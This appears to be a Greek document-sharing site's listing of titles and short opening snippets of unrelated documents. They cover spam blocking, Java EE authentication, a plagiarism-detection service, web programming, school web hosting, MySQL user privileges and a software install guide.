Διαβάστε περισσότεραΑντιµετώπιση των ανεπιθύµητων ηλεκτρονικών µηνυµάτων. Blocking spam mail. ηµήτρης Μπιµπίκας
Αντιµετώπιση των ανεπιθύµητων ηλεκτρονικών µηνυµάτων Blocking spam mail ηµήτρης Μπιµπίκας 2 ΑΝΤΙΜΕΤΩΠΙΣΗ ΑΝΕΠΙΘΥΜΗΤΩΝ ΗΛΕΚΤΡΟΝΙΚΩΝ ΜΗΝΥΜΑΤΩΝ/ BLOCKING SPAM MAIL Αντιµετώπιση των ανεπιθύµητων ηλεκτρονικών
Διαβάστε περισσότεραJava & Java EE 3o Μέρος: Διασφάλιση ασφάλειας σε εφαρμογές Java Enterprise Edition. Κακαρόντζας Γεώργιος
Java & Java EE 3o Μέρος: Διασφάλιση ασφάλειας σε εφαρμογές Java Enterprise Edition Κακαρόντζας Γεώργιος Μεθοδολογία Θα υλοποιήσουμε την λεγόμενη πιστοποίηση μέσω φόρμας στοιχείων εισόδου (form-based authentication)
Διαβάστε περισσότεραΗμερομηνία Παράδοσης: 4/4/2013
Δράση 9.14 / Υπηρεσία εντοπισμού λογοκλοπής Κυρίως Παραδοτέο / Σχεδιασμός και ανάπτυξη λογισμικού (λογοκλοπής) και βάσης δεδομένων (αποθετηρίου) Επιμέρους Παραδοτέο 9.14.1.4 / Πληροφοριακό σύστημα υπηρεσίας
Διαβάστε περισσότεραΘέματα Προγραμματισμού Διαδικτύου Εισαγωγή - Πρωτόκολλα
Θέματα Προγραμματισμού Διαδικτύου Εισαγωγή - Πρωτόκολλα Στελιος Σφακιανάκης Εαρινό 2019 Αυτή η εργασία χορηγείται με άδεια Creative Commons Αναφορά Δημιουργού - Μη Εμπορική Χρήση - Παρόμοια Διανομή 1 Περιεχόμενα
Διαβάστε περισσότεραΤεχνολογίες Ανάπτυξης Εφαρμογών στο WEB
Τεχνολογίες Ανάπτυξης Εφαρμογών στο WEB Χρήστος Φείδας 1999 1. Εισαγωγή Στα πρώτα χρόνια ύπαρξης του το web παρείχε μόνο στατικές σελίδες μίας και αυτός ήταν ο πρωταρχικός σκοπός του. Καθώς όμως αυξανόταν
Διαβάστε περισσότεραΚΕΠΛΗΝΕΤ ΕΒΡΟΥ. Καλτσίδης Χρήστος
Καλτσίδης Χρήστος Μάρτιος 2009 Υπηρεσία Φιλοξενίας Ιστοσελίδων στο ΠΣΔ Η υπηρεσία φιλοξενίας σελίδων στο Πανελλήνιο Σχολικό Δίκτυο έχει σκοπό την προβολή των δραστηριοτήτων των σχολικών μονάδων και του
Διαβάστε περισσότεραΕργαστήριο Βάσεων Δεδομένων. Δικαιώματα Χρηστών Προβολές
Εργαστήριο Βάσεων Δεδομένων Δικαιώματα Χρηστών Προβολές Επικοινωνία με MySQL mysql host DB server queries results Client host Β Δ Η χρήση της mysql βασίζεται στο μοντέλο client server Remote access to
Διαβάστε περισσότεραΟδηγός Εγκατάστασης και Χρήσης του Arebas Easy
Σ ε λ ί δ α 1 Οδηγός Εγκατάστασης και Χρήσης του Arebas Easy Περιεχόμενα 1. Download Arebas Easy... 2 2. Εγκατάσταση Arebas Easy... 3 3. Εγγραφή στον Arebas Server... 7 4. Παραμετροποίηση Arebas Easy...
Διαβάστε περισσότερα